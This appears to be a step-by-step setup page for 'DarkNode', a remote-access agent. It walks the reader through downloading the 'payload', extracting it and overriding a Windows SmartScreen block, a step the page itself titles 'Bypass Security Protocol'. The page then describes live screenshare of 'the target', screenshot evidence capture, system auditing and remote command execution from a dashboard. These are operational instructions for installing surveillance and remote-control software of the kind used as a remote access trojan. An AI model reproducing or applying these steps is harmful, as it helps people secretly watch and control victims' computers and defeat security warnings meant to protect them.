01
Acquire Payload
Log in to your DarkNode Dashboard. Navigate to the bottom-left tile labeled "Download Agent". Click the button to download the secure package.
> Downloading: darknode_agent.zip
> Status: Complete
02
Extract & Configure
Locate the ZIP file. Right-click > Extract All. You must extract the files; running directly from the ZIP will cause connection failure.
Contents:
[+] config.ini (Do not edit unless authorized)
[+] darknode.exe (Application)
03
Bypass Security Protocol
When running darknode.exe, Windows SmartScreen may block execution because the tool is internal software. You must authorize it manually.
Windows protected your PC
Microsoft Defender SmartScreen prevented an unrecognized app from starting...
More info → Run anyway
04
Initialize Agent
A black console window will open. This confirms the agent is active. Do not close this window (you can minimize it).
> DarkNode Client Started
> Agent: USER_ID_8842
> Sending checkin to server...
> Connection Established.
Live Monitoring
Click "Start Screenshare" to open a live video feed of the target. Use "Take Screenshot" for evidence capture.
System Audit
Click "System Info" to retrieve OS details, Uptime, and Hardware specs. Results appear in the "Command Results" terminal.
Remote Terminal
Execute CMD commands directly from the dashboard.
Enter command...
> ipconfig /all